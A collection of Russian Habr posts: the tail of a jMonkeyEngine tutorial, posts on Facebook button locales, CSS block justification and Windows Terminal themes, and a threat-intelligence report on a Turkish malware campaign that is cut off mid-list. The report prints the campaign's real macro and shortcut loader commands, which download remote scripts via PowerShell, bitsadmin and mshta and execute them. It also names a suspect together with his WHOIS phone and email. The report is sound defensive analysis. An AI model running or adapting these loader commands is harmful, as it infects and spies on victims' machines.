> import com.jme.math.Vector3f;
>
> import com.jme.scene.TriMesh;
>
> import com.jme.scene.shape.Box;
>
> import com.jme.util.export.binary.BinaryImporter;
>
> import com.jmex.model.converters.ObjToJme;
>
>
>
> public class Program extends SimpleGame
>
> {
>
> public static void main(String[] args)
>
> {
>
> Program game = new Program();
>
> // При запуске всегда показывать диалог выбора настроек
>
> game.setConfigShowMode(ConfigShowMode.AlwaysShow);
>
> game.start();
>
> }
>
>
>
> @Override
>
> protected void simpleInitGame()
>
> {
>
> // Создаём куб
>
> Box b = new Box("Testbox", new Vector3f(0, 0, 0), new Vector3f(1, 1, 1));
>
> // Устанавливаем ограничивающий объём
>
> b.setModelBound(new BoundingBox());
>
> // Подгоняем его параметры автоматически
>
> b.updateModelBound();
>
> // Присоединяем к корневому узлу графа сцены (rootNode присутствует в SimpleGame)
>
> rootNode.attachChild(b);
>
>
>
> // Загружаем модель из .obj файла
>
> ObjToJme converter = new ObjToJme();
>
> URL full\_mesh\_path = Program.class.getResource("mesh.obj");
>
> TriMesh mesh = null;
>
> ByteArrayOutputStream output = new ByteArrayOutputStream();
>
> try
>
> {
>
> converter.convert(full\_mesh\_path.openStream(), output);
>
> mesh = (TriMesh)BinaryImporter.getInstance().load(output.toByteArray());
>
> }
>
> catch (IOException e)
>
> {
>
> System.exit(1);
>
> }
>
> mesh.setModelBound(new BoundingBox());
>
> mesh.updateModelBound();
>
> mesh.setLocalTranslation(Vector3f.UNIT\_Y.mult(5));
>
> rootNode.attachChild(mesh);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ничего сложного. Стоит обратить внимание на строчку
> URL full\_mesh\_path = Program.class.getResource(«mesh.obj»);
Так мы указываем программе искать файл mesh.obj в том же месте, где лежит файл Program.class. Это может быть удобно, например, если игровые ресурсы будут лежать внутри архива .jar, содержащего .class файлы программы.
Теперь программа должна запускаться, выдавать диалоговое окно с выбором графических настроек, создавать окно и отображать в нём вручную созданный кубик и загруженную сеточную модель. В классе SimpleGame реализована возможность отображения статистики времени выполнения, которая включается нажатием F4. Конечно, в реальных проектах подобные дефолтные вещи вряд ли кому-то нужны, поэтому для игр серьёзнее, чем *Hello, world*, лучше использовать класс StandardGame, или, если подняться ещё выше по иерархии, BaseGame, где придётся всю инициализацию писать самому.
Теперь подготовим программу для распространения. Для этого выполним File -> Export -> Runnable JAR file. В появившемся окне выбираем экспортируемую программу, папку назначения, отмечаем пункт Package required libraries into generated JAR. После нажатия finish имеем файл .jar, содержащий исполняемый код программы и все необходимые библиотеки движка. Для запуска нужно также скопировать native библиотеки из той папки, которую указывали вначале, в папку с программой (например, в ./lib). Для запуска выполняем
> java -Djava.library.path=./lib -jar program.jar
Программа сможет загрузить файл mesh.obj, если тот находится либо в папке с program.jar, либо непосредственно в файле program.jar. Добавить файл внутрь архива можно любым архиватором.
Вполне закономерный вопрос тут — а как быстро оно работает?.. На него вполне закономерный ответ — [смотрите сами](http://www.jmonkeyengine.com/movies_demos.php). На сайте есть энное количество демок, загружаемых через jnlp, в том числе не таких примитивных, как этот пример. По ним можно оценить скорость работы.
#### Финиш
На этом ознакомительную статью можно считать завершённой. Простой пример хорошо показывает лёгкость создания игр с помощью jME. С другой стороны, реальные возможности движка он не раскрывает, зато их раскрывает [вики](http://www.jmonkeyengine.com/wiki/doku.php) на офф сайте, а также [javadoc](http://www.jmonkeyengine.com/doc/), так что у заинтересовавшихся впереди простор для творчества и все доступные платформы для покорения.
*Work safe. Work smart. Your future depends on it © Half Life railway* | https://habr.com/ru/post/88254/ | null | ru | null |
# Мне нравится vs like
Сейчас стало довольно популярно интегрировать на сайты социальные сервисы. Я думаю все видели социальные кнопки *tweet*, *like*, *Plus One* и множество других. Сегодня зашел на сайт Ubuntu.com и увидел следующую картину . Это стало последней каплей и я решил написать данную статью, что бы помочь тем кто не нашел времени разобраться в вопросе. Как можно заметить браузер определил локализацию как **ru\_Ru** и в соответствии с этим заменил на кнопке **facebook** подпись ***«like»*** на ***«мне нравится»***. Я конечно благодарен за такую заботу, но как видно на картинке — это отрицательно сказывается на внешнем виде и функционале. Как следствие у меня нет возможности увидеть сам счетчик на котором отображается количество лайкнувших. Проблема носит глобальный характер так, как я такое встречал не один раз, и всегда это выглядит по крайней мере не эстетично.
Проблема состоит в том, что изначально при генерации кода кнопки средствами **facebook** нет возможности выбрать локализацию. Для решения этой проблемы я вижу два варианта:
* Учитывать в дизайне и верстке то, что блок будет иметь различные размеры при отображении подписи на разных языках
* Принудительно установить локализацию **en\_US** и всегда созерцать подпись *like*
На мой взгляд второе решение лучше так, как кнопка с подписью *like* выглядит аккуратно и вполне интуитивно. И при этом тратится меньше сил на верстку и дизайн. Что бы реализовать подпись на английском, сразу обратился к документации плагина на **facebook**. В документации описано два варианта установки локализации для плагина — это передача параметра **locale** в **IFRAME** или указание локализации в скрипте при использовании разметки **XFBML**, приблизительно это выглядит следующим образом: `'//connect.facebook.net/en_US/all.js';` для **XFBML**. И `src="http://www.facebook.com/plugins/like.php?locale=en_US&..."` для **IFRAME**. Тут все предельно просто. Но что делать, требуется воспользоваться другим вариантом. Например если мы хотим вставить код кнопки с помощью **HTML5**
Когда мы генерируем код кнопки для **HTML5**, то мы получаем следующий код:
````
< div id="fb-root">
````
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/ru\_RU/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
В строке `js.src = "//connect.facebook.net/ru_RU/all.js#xfbml=1";` видно что код который был сгенерирован на сайте **facebook** уже имеет локализацию **ru\_RU**. Заменяем на **en\_US** и получаем аккуратную кнопку с подписью *like*.
На этом можно было и закончить. Но часто используют плагины, которые представляют возможность размещения нескольких социальных сервисов. Например **AddThis** и **ShareThis**. Я раскажу как я решил эту проблему для **AddThis**, думаю для **ShareThis** будет аналогичным решением.
Для добавления сервиса **AddThis** с кнопкой **facebook** мы генерируем и получаем следующий код:
````
````
Все что нужно для того что бы сделать наш **facebook** английским, нужно передать параметр локализации для него. Обратившись к документации плагина **AddThis**, узнал что передать параметр довольно легко, для этого в тег `a class="addthis_button_facebook_like"` добавляем атрибут `fb:like:``*<имя атрибута>*`. А имя атрибута можно найти в документации непосредственно к плагину **facebook** на их сайте. Внешне все очень просто идем за нужным атрибутом на сайт **facebook** и успешно его там не находим. Удивительно в описании атрибутов нет нужного. Почему то разработчики не посчитали нужным отдельно указать атрибут для выбора локализации, но пусть это будет на их совести. И так, немного подумав я решил попробовать указать следующий атрибут `fb:like:locale="en_US"`. В результате, эта не очевидная возможность помогла. Теперь скрипт **AddThis** в **IFRAME** для кнопки **facebook** будет передан нужный параметр, и кнопка станет английской.
Сразу отвечу на вопрос почему не использовать изначально **IFRAME**, если все равно **AddThis** генерирует тот же самый **IFRAME**. Все очень просто если мы не будем использовать теги **AddThis** для получения кнопки, то мы не сможем отслеживать аналитику которую предоставляет **AddThis** по этой кнопке, ну и код для кнопки через плагин **AddThis** более читабельный чем непосредственно с генерированный **IFRAME**. | https://habr.com/ru/post/138587/ | null | ru | null |
# Равномерное выравнивание блоков по ширине
Продолжая свои «css-раскопки» возникла новая идея, разобрать по косточкам ещё одну актуальную тему, которая касается равномерного выравнивания блоков по ширине. [В принципе мои доскональные исследования я уже запостил у себя в блоге](http://css-live.ru/articles-css/ravnomernoe-vyravnivanie-blokov-po-shirine/), но так как прошлая моя [работа](http://habrahabr.ru/blogs/css/137582/) очень понравились Хабра-сообществу, то я решил сделать здесь небольшой краткий обзорчик этой статьи, чтобы ни одна хабра-душа не пропустили её наверняка. Так что, как говорил Гагарин: «Поехали».
В общем в задачах вёрстки периодически возникают моменты, когда появляется необходимость выровнять какой-нибудь список по ширине экрана. При этом пункты этого списка должны выравниваться равномерно, прижимаясь своими крайними элементами к границам контейнера, а расстояние между ними должно быть одинаковым.
На рисунке видно, что пункты выравниваться по ширине, примыкая к боковым стенкам и делая отступы между собой – равнозначными.
Как это работает?
-----------------
По сути, мы должны получить то, что делает `text-align: justify` с текстом. Так как поведение наших блоков уж очень напоминает результат выравнивания слов в строке с помощью именно этого свойства. Думаю многие уже примерно представляют, что это за свойство и примерную его работу.
**\***В этом обзоре я не стал постить разбор этапов всего алгоритма, об этом можно [почитать в самой статье](http://css-live.ru/articles-css/ravnomernoe-vyravnivanie-blokov-po-shirine/). Главное, чтобы вы понимали суть.
Наша задача
-----------
Наша задача состоит в том, чтобы построить решение на базе этого алгоритма. Применить, симулировать, заменить, сделать всё что угодно, главное в итоге получить то, что мы хотим. А именно – равномерно выровненные элементы в строке, боковые из которых прижаты к своим границам. Ну и конечно же расстояния (пробелы) между этих элементов должны быть абсолютно одинаковыми при любой ширине контейнера.
**\*** Сразу хочу сообщить, что вариантов (рабочих и не очень) на самом деле получилось целых 4 штуки, плюс ещё куча интересных и полезных разобранных нюансов, на огромную статью (в моём стиле). Поэтому тут я вкраце опишу некоторые из них :)
### Варианты 1 и 2
Самое первое, что пришло мне на ум, это взять список из пяти пунктов и построить выравнивание на старых-добрых **float-ах**, поэтому я смастерил два варианта ([один](http://css-live.ru/Primer/viravnivanie-items/viravnivanie-items.html), [два](http://css-live.ru/Primer/viravnivanie-items/dve-colonki.html)), которые к сожалению оказались не совсем универсальными. Точнее [первый](http://css-live.ru/Primer/viravnivanie-items/viravnivanie-items.html) из них вообще не прокатил, а [второй](http://css-live.ru/Primer/viravnivanie-items/dve-colonki.html) оказался вполне себе рабочим, но только лишь для фиксированной ширины пунктов.
Кому интересно подробное исследование этих вариантов, [милости прошу в саму статью](http://css-live.ru/articles-css/ravnomernoe-vyravnivanie-blokov-po-shirine/).
### Варианты 3
А вот третий вариант уже построен на самом алгоритме `text-align: justify` и инлайн-блоках, которые и принесли свои плоды, но не совсем. Во-первых, мне пришлось разбавить список лишним, дополнительным элементом, а во-вторых, в IE6-7 обнаружились интересные факты, рыться в которых мне доставило большое удовольствие. В этих браузерех данное решение отказывалось работать вообще. И догадайтесь, кто пришёл мне на помощь. Верно, [SelenIT2](https://habrahabr.ru/users/selenit2/)! Но он пришёл ни один, а с великолепной идеей (которую он нагло спёр у нашего общего коллеги по цеху [GreatRash](https://habrahabr.ru/users/greatrash/)), от которой я был просто в шоке. Как оказалось, пара волшебных свойств CSS3 родом из глубокой древности может превратить это решение в кроссбраузерное и заставить работать `text-align: justify` в наших старичках IE6-7.
[третий вариант](http://css-live.ru/Primer/viravnivanie-items/dopolnitelniy-element.html)
Весь секрет оказался в последней строчке следующего кода:
```
* 1
* 2
* 3
* 4
* 5
*
```
```
ul {
font: 14px Verdana, Geneva, sans-serif;
text-align: justify;
/* Обнуляем для родителя*/
line-height: 0;
font-size: 1px; /* 1px для Opera */
/* Лекарство для IE6-7*/
text-justify: newspaper;
}
```
Как видно, с помощью `text-justify: newspaper;` у `ul` наш вариант становится кроссбраузерным. Это происходит за счёт того, что свойство text-justify: newspaper предназначено для увеличения или уменьшения интервалов между буквами и между словами. [MSDN](http://msdn.microsoft.com/en-us/library/ms531172%28v=vs.85%29.aspx) заявляет, что эта вещь «Самая навороченная форма выравнивания для латинского алфавита», а вот в [этой статье](http://www.microsoft.com/middleeast/msdn/JustifyingText-CSS.aspx) ещё есть и дополнение, что для арабских текстов это свойство вытягивает и сами буквы.
### Варианты 4
Ну, и вариант 4 стал отказом от дополнительной разметки, что повлекло за собой новые проблемы в IE6-7.
Оказывается всё дело в том, что `text-justify: newspaper` лишь даёт возможность растягивать наши буквы (inline-block), но не команду. Проще говоря, он рассказывает строке, как бы он хотел, чтобы она была растянута, а `text-align: justify` является растягивающей силой. Т.е. `text-align: justify` отвечает за растяжение строки, а `text-justify: newspaper` лишь уточняет, как именно это растяжение будет происходить.
В обзоре 3-го варианта я сказал, что [SelenIT2](https://habrahabr.ru/users/selenit2/) подсказал мне два свойства, одно из которых (text-justify: newspaper) помогло нам в предыдущем варианте, а другое как раз помогло в этом! Причём в этот раз они объединились и уже с двойной силой смогли победить последний вариант.
```
ul {
font: 14px Verdana, Geneva, sans-serif;
text-align: justify;
/* Обнуляем для родителя*/
line-height: 0;
font-size: 1px; /* 1px для Opera */
/* Лекарство для IE6-7*/
text-justify: newspaper;
zoom:1;
/* Включаем в работу последнюю строку*/
text-align-last: justify;
}
```
Встречайте! `**text-align-last**` — свойство, которое включает алгоритм `text-align: justify` в самой последней строке текста, если к ней применён этот самый `text-align: justify`. Проще говоря, когда мы применяем к тексту обычный `text-align: justify`, то, видя это, `text-align-last` указывает первому на то, что он поступает плохо и что ему придётся теперь работать и в последней строчке тоже.
[И вот, собственно, результат](http://css-live.ru/Primer/viravnivanie-items/pseudo-element.html)
Кстати, эти [свойства специфицированы](http://www.w3.org/TR/css3-text/#text-align-last), а не какая-нибудь проприетарщина (кроме значения newspaper, которое теперь называется иначе). Так что ни один котенок не пострадает) И хочу подчеркнуть, что баг IE6-7 поборен с помощью CSS3 — кто еще когда такое видел? :)
В общем, подводя итоги обзора, хочу сказать, что рад, что мне удалось найти действительно достойное решение. Причём не просто найти, а разобраться во всём и довести его до абсолютной кроссбраузерности, затратив минимум кода и не засоряя разметки.
Если краткого обзора кому-то показалось мало, то я рекомендую прочитать [вот эту (уже большую) статейку](http://css-live.ru/articles-css/ravnomernoe-vyravnivanie-blokov-po-shirine/) с доскональным разбором полётов. Но, предупреждаю! Статья действительно не маленькая, поэтому перед началом чтения лучше запастись вашими любимыми печеньками с чаем :) | https://habr.com/ru/post/138501/ | null | ru | null |
# Microsoft обновила Windows Terminal и добавила возможность создавать и запускать кастомные темы
13 сентября 2022 года Microsoft [обновила](https://devblogs.microsoft.com/commandline/windows-terminal-preview-1-16-release/) превью версию приложения с [открытым](https://github.com/microsoft/terminal) исходным кодом Windows Terminal. Разработчики добавили в Windows [Terminal Preview 1.16](https://apps.microsoft.com/store/detail/windows-terminal-preview/9N8G5RFZ9XK3?hl=ru-ru&gl=ru) долгожданную функцию, позволяющую создавать и запускать кастомные темы.
На данный момент пользователи могут создавать темы только путём редактирования файла глобальных настроек Windows Terminal JSON, чтобы изменить цвет фона вкладок и строк вкладок и выбрать между светлой и темной темами окна терминала.
```
"themes":
[
{
"name": "Grace Kelly",
"tab":
{
"background": "#00515EFF",
"showCloseButton": "always",
"unfocusedBackground": null
},
"tabRow":
{
"background": "#061612FF",
"unfocusedBackground": "#061612FF"
},
"window":
{
"applicationTheme": "dark"
}
}
]
```
После добавления новой конфигурации темы в файл JSON новая тема автоматически появится на странице настроек приложения в разделе настройки внешнего вида (Appearance settings page).
Чтобы добавить свои собственные темы, пользователям необходимо установить последнюю версию приложения Windows Terminal Preview 1.16. В ней также изменены некоторые цвета по умолчанию и установлена темная тема по умолчанию вместо стандартной системной темы Windows.
Microsoft [представила](https://habr.com/ru/company/microsoft/blog/452338/) Windows Terminal во время конференции разработчиков Build в мае 2019 года и официально запустила его два месяца спустя, в июле. Windows Terminal поддерживает несколько консольных вкладок. Приложение также позволяет выбирать между оболочкой cmd, PowerShell и оболочками дистрибутивов Linux, установленными через подсистему Windows для Linux (WSL). | https://habr.com/ru/post/688160/ | null | ru | null |
# Турецкие фокусы с червями, крысами… и фрилансером
Специалисты группы исследования угроз [экспертного центра безопасности Positive Technologies (PT Expert Security Center)](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/) обнаружили вредоносную кампанию, которая активна по крайней мере с середины января 2018 года. Операция направлена на пользователей из Бразилии, Великобритании, Венгрии, Германии, Латвии, США, Турции, с Филиппин. Используется многообразие инструментов и техник заражения и управления ПК жертвы. В данном отчете детально рассмотрены стадия заражения, применяемые утилиты, особенности организации сетевой инфраструктуры, а также цифровые следы, выведшие нас на кандидатуру предполагаемого хакера.
Резюме
------
* Атакующие переработали червя 10-летней давности с учетом современных приемов
* Зоопарк используемых инструментов в совокупности с обширной сетевой инфраструктурой
* Главный подозреваемый – турецкий фрилансер
Доставка полезной нагрузки
--------------------------
### Офисные документы
Пятого апреля 2019 года, в рамках отслеживания новых угроз, специалисты PT Expert Security Center обнаружили подозрительный офисный документ. Файл с расширением .docm (документ MS Word нового образца с поддержкой макросов):
* создан за несколько дней до обнаружения (2019-03-31),
* содержит изображение с целью убедить пользователя включить макросы,
* был создан на системе с турецким языком (об этом свидетельствуют значения полей метаданных: «Konu Başlığı» — «Название темы», «Konu Ba l, 1» — «Предметный заголовок, 1»; перевод Google Translate).
*Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов*
Код макроса немного обфусцирован, но лаконичен: средствами командлета Background Intelligent Transfer Management (BITS) для PowerShell загружает и запускает сценарий на JScript с сервера злоумышленника:
```
Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")
```
Использование PowerShell и нетипичного модуля для загрузки файлов с веб-сервера обусловлено попыткой обойти ограничения на запуск и исполнение недоверенных программ.
Существует несколько аналогичных документов. Например, один из них представляет собой .doc-файл (документ MS Word старого образца) с кодовой страницей символов на турецком языке. Работа макроса также очень схожа:
```
Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide
```
В данном случае автор использует ту же BITS-технологию, но при помощи легитимной системной утилиты bitsadmin. Интересно, что и дата создания документа, и время обнаружения в публичных источниках отсылают нас к середине июля 2018 года. Таким образом, атаки актуальны как минимум около года. Кроме этого, для загрузки пейлоада используется тот же самый сервер злоумышленника; схож и подход к именованию загружаемого сценария на JScript.
Еще один документ имеет расширение .rtf (Rich Text Format). В него вложены несколько .xls-документов (документ MS Excel старого образца) с одинаковым содержанием. Код макроса полностью идентичен извлеченному из первоначального документа, а совпадения значений кодовой страницы и XML-поля HeadingPairs ведут к тому же авторству.
### LNK-ярлыки
Стоит отметить, что в этой кампании в качестве первоначальной стадии заражения использовались не только офисные документы. Мы встретили пару вредоносных .lnk-файлов (Windows Shell Link), при запуске которых выполнялась следующая команда:
```
C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js
```
Ярлыки распространялись в середине марта и конце апреля 2019 года.
Метаданные ярлыков содержат имя пользователя win7-bilgisayar (с турецкого «win7-компьютер») — пользователя системы, на которой они создавались.
Мы можем с уверенностью предположить, что почтовые фишинговые рассылки — наиболее вероятный сценарий доставки вредоносных файлов на первой стадии заражения.
Метаморфозы Гудини
------------------
Все рассмотренные объекты первой стадии заражения загружают и запускают один и тот же сценарий на JScript (без учета незначительных различий). Файл не обфусцирован и не упакован, а единственное, что предпринято для усложнения анализа, — случайные имена переменных. Представляет собой бэкдор на платформе WSH. Из особенностей его работы можно выделить следующие:
* Адрес хоста и порт управляющего сервера зашиты в скрипте
* Взаимодействие с C&C осуществляется средствами POST-запросов протокола HTTP.
* В момент начала работы в поле URI вставляется строка «is-bekle», в переводе с турецкого «is-ready».
* Поле User-Agent содержит краткую информацию о системе с заданным разделителем (в данном случае, «<|>»):
+ серийный номер жесткого диска,
+ имя пользователя,
+ версия системы,
+ имя скрипта,
+ имя антивируса,
+ значение переменной среды %ProgramData%,
+ наличие .Net FrameWork 4.5.2 в системе,
+ время ожидания между запросами,
+ наличие Java в системе.
* [Проверяет](https://www.blackhat.com/docs/us-17/thursday/us-17-Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox-wp.pdf) окружение на предмет песочницы «Лаборатории Касперского» по заданному серийному номеру жесткого диска. В случае совпадения прекращает работу.
* Получает от сервера и выполняет заданные команды; вот некоторые из них:
+ загрузка файла с сервера,
+ выгрузка файла на сервер
+ сбор содержимого буфера обмена,
+ сбор содержимого каталога,
+ сбор информации о процессах,
+ запуск команд в интерпретаторе cmd.exe,
+ снятие и отправка скриншота,
+ извлечение и отправка баз данных Chrome и Opera с паролями.
*Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника*
По наличию комментариев, структуре кода, используемым именам команд и формату сбора информации о системе можно провести параллель с хорошо известным VBS-червем Houdini. Наши коллеги из FireEye в 2013 году привели подробный [разбор](https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html) функций этого трояна, обработка команд и сбор информации в котором происходят аналогичным образом. Похоже, что в нашем случае злоумышленник взял за основу модель работы известного червя, переписал функции не на VBScript, а на JScript, и заменил некоторые английские строки турецкими.
*Рис. 3. Обработка команд JScript-бэкдора*
Стоит отметить, что в качестве маркера результатов выполнения команд используются строки, содержащие подстроку «Bcorp». Она же присутствует в имени управляющего сервера ip1[.]bcorp.fun.
### На сервере злоумышленника
По данным Shodan на 30 апреля 2019 года, на хосте злоумышленника работает веб-сервер на базе [AppServ](https://www.appserv.org/en/). Не похоже, что сервер тщательно настраивали: например, доступна страница phpinfo, раскрывающая любопытную информацию о конфигурации. При анализе веб-ссылок, с которых загружалось вредоносное ПО, выяснилось, что на сервере присутствует открытая директория (каталог ./a) с листингом других инструментов злоумышленника.
*Рис. 4. Домашняя страница сервера злоумышленника*
*Рис. 5. Страница phpinfo на сервере злоумышленника*
*Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года*
*Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года*
Ниже представлено описание обнаруженных файлов.
### Houdini JScript
В первую очередь, получено множество вариаций модифицированного червя Houdini, рассмотренного выше. От версии к версии скрипт претерпевал незначительные изменения: менялись имена хостов (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), порты (86, 87), имена переменных, появлялись или исчезали отдельные команды. Одна из версий даже была обрамлена в виде скриптлета на JScript.
*Рис. 8. Houdini JScript в виде скриптлета*
### Bcorp JAR
Самописный легкий бэкдор на языке Java. Взаимодействует с C&C по TCP по порту 22122. Умеет:
* выполнять команды в интерпретаторе cmd.exe,
* определять версию системы,
* перечислять каталоги,
* выгружать файлы,
* прописываться в каталог автозагрузки и ветку автозапуска реестра.
Похоже, что именно для этого модифицированный червь проверяет наличие Java в системе. При этом неясно, зачем использовать дополнительный бэкдор, ведь первоначальный обладает достаточным набором функций.
### Get-ChromeCreds
[PowerShell-обертка](https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/DumpCreds/PS) для извлечения истории, логинов, паролей, cookie из браузера Chrome. Некоторые версии содержат вспомогательную библиотеку System.Data.SQLite.dll для x86- и x64-систем в base64-закодированном виде, остальные предполагают ее наличие в каталоге %APPDATA%. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.
### Start-KeyLogger
[PowerShell-имплементация](https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Start-KeyLogger/Start-KeyLogger.ps1) простейшего кейлоггера. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.
*Рис. 9. Фрагмент кода PowerShell-кейлоггера*
### WebBrowserPassView
[Утилита](https://www.nirsoft.net/utils/web_browser_password.html) от Nirsoft для получения логинов и паролей из популярных браузеров. Злоумышленники использовали авторскую версию, предварительно упаковав ее с помощью ASPack для усложнения анализа или обхода детектирования по индикаторам.
### NetWire RAT
Публично доступный, коммерческий [инструмент](https://ultrahacks.org/shop/product/netwire-rat/) для удаленного контроля над ПК. Используется различными киберпреступными группами. Малварщики усложнили анализ и обнаружение путем упаковки RAT в PE на платформе .NET и применения обфускатора кода DeepSea 4.1.
### TCP Listen
Простенькая [GUI-утилита](https://www.allscoop.com/tcp-listen.php) от AllScoop для тестирования параметров роутера или межсетевого экрана. На каждый слушающий порт отвечает заданной строкой, завершая соединение.
*Рис. 10. GUI утилиты TCP Listen*
### LNK loader
Ярлык-загрузчик, схожий с уже рассмотренными ранее. При запуске выполняет следующую команду:
```
C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"
```
На этот раз ярлык был создан под другим пользователем (desktop-amkd3n3).
### Script loaders
В эту группу мы объединили различные загрузчики рассмотренных выше RAT. Все они небольших размеров (до 1 КБ), различных форматов (.htm, .xsl, .hta и т. д.), код выполняется на нескольких скриптовых (JScript, PowerShell) языках и компилируемом «на лету» C#. Ниже представлены фрагменты кода некоторых образцов:
*Рис. 11. Фрагмент .htm-загрузчика*
*Рис. 12. Фрагмент .xsl-загрузчика*
*Рис. 13. Фрагмент .ps1-загрузчика*
### Tiny PE loaders
Помимо скриптовых загрузчиков были обнаружены PE-файлы на платформе .NET. Они также небольших размеров (до 10 КБ), с аналогичной емкой функциональностью:
*Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков*
### xRAT
Публично доступный, свободно распространяемый [проект](https://github.com/c4bbage/xRAT) для удаленного управления ПК. Широко распространены различные версии и модификации. Написан на C#, частично обфусцирован.
### Bcorp panel vs. builder
Управляющая серверная часть для JScript-бэкдора. В то же время является и конструктором клиентской части. Представляет собой PE на платформе .NET. Не обфусцирована, не упакована. Интерфейс напоминает переработанную серверную часть для уже упомянутого VBS-червя Houdini. Кроме отправки команд загружает на зараженную машину дополнительные компоненты и плагины, описанные ранее: окружение Java, PowerShell-скрипты и утилиту от Nirsoft для сбора информации с браузеров, PowerShell-скрипты для перехвата нажатых клавиш и т. д. Любопытно, что проект носит название BcorpRat, что можно увидеть в заголовке окна на изображениях ниже. А в названии пространства имен исходного программного кода фигурирует строка «Btech», к которой мы вернемся чуть позже.
*Рис. 15. Панель управления JScript-бэкдором, главное окно*
*Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части*
Сетевая инфраструктура
----------------------
Далее мы проведем более детальный анализ адресов, с которыми взаимодействовали те или иные вредоносные программы атакующего. Начнем с домена definebilimi.com, к которому обращаются офисные документы и ярлыки-загрузчики.
### definebilimi.com
Шестнадцатого января 2018 года у этого домена появился новый владелец. Кстати, «define bilimi» дословно переводится с турецкого как «сокровище науки». Ниже представлены наиболее интересные данные из истории WHOIS-записей на тот момент.
Таблица 1. Информация о регистранте (владельце) домена definebilimi.com
| Имя записи | Значение записи |
| --- | --- |
| Registrant Name | Koray YAMAN |
| Registrant Street | 123456 |
| Registrant City | Istanbul |
| Registrant Country | TR |
| Registrant Phone | +90.5350167352 |
| Registrant Email | btech@hotmail.com.tr |
Будет опрометчиво утверждать, что данные являются подлинными. Указанная страна и частота появления следов турецкого языка в коде позволяют нам предположить, что эти совпадения не случайны. А электронный адрес содержит подстроку «btech», на которую мы уже обращали внимание.
Интересной выглядит история изменений NS-серверов, которые предоставляли информацию о зарегистрированном домене:
| Дата | Действие | Сервер |
| --- | --- | --- |
| 17.03.2018 | Новая запись | buhar.biz |
| 15.01.2019 | Смена записи | definebilimi.com |
| 04.06.2019 | Смена записи | qqww.eu |
*Таблица 2. История NS-серверов домена definebilimi.com*
Хосты buhar.biz и qqww.eu уже встречались во вредоносном ПО ранее.
### buhar.us
Новая история этого домена («buhar» с турецкого — «пар») начинается с того же дня, что и история definebilimi.com, — 16 января 2018 года.
| Имя записи | Значение записи |
| --- | --- |
| Registrant Name | balta zar |
| Registrant Organization | BuharuS |
| Registrant Street | Gizli |
| Registrant City | Gizli |
| Registrant Country | TR |
| Registrant Phone | +1.123456789 |
| Registrant Email | buharcin@yandex.com |
*Таблица 3. Информация о регистранте (владельце) домена buhar.us*
Ситуация схожа: вновь часть данных выглядят фальшивыми за исключением почтового адреса («buharcin» с турецкого — «паровоз»).
### bcorp.fun
Домен зарегистрирован с 23 марта 2019 года. Кроме того, что страна зарегистрированного снова Турция, в качестве организации клиента приводится «Bcorp». Собственно, это же мы видим и в самом названии домена, как и в нескольких абзацах ранее.
### husan2.ddns.net
Любопытно, что злоумышленник обзаводится хостами не только классическим способом. С середины марта 2019 года было зафиксировано использование так называемых динамических DNS-серверов. Технология позволяет атакующим эффективно скрывать свои IP-адреса и обеспечить живучесть своих центров управления. Стоит отметить и некоторую предсказуемость в выборе имен: так, например, через пару месяцев было обнаружено использование домена husan3.ddns.net, а вот активность домена husan.ddns.net датируется аж апрелем 2017 года.
### bkorp.xyz
С начала апреля хакер, продолжая двигаться по пути анонимизации, регистрирует домены с использованием сервиса WhoisGuard, Inc., располагающегося в Панаме; bkorp.xyz, prntsrcn.com и i37-imgur.com — лишь некоторые примеры. Используемые NS-сервера по-прежнему связывают их с другими вредоносными доменами.
### qqww.eu
Кроме того, что у этого домена, так же как и у домена bcorp.fun, есть поддомен ip1, — существует и еще одна немаловажная деталь. В информации о регистранте указана организация Osbil Technology Ltd., якобы располагающаяся в Берлине. На самом деле одноименная организация располагается на побережье Кипра в городе Фамагуста — на территории частично признанной Турецкой Республики Северного Кипра. А официальный [сайт](https://www.yoncu.com/) компании располагается на домене, который являлся NS-сервером домена bcorp.fun с марта по май 2019 года. Мы не нашли признаков компрометации сервера имен, а инфраструктурные особенности NS-провайдера (замещение клиента данными провайдера в графе регистранта) позволили скрыть информацию о клиенте от публичного доступа.
*Рис. 17. Информация о регистранте (владельце) домена qqww.eu*
### IP-адреса
Для полноты картины ниже приведены IP-адреса — с некоторыми доменами, соответствовавшими им в различные промежутки времени:
* 5.255.63.12
+ bcorp.fun
+ husan.ddns.net
+ husan2.ddns.net
+ husan3.ddns.net
+ qqww.eu
* 192.95.3.137
+ bcorp.fun
+ bkorp.xyz
+ definebilimi.com
+ i36-imgur.com
+ i37-imgur.com
+ i38-imgur.com
+ i39-imgur.com
+ prntsrcn.com
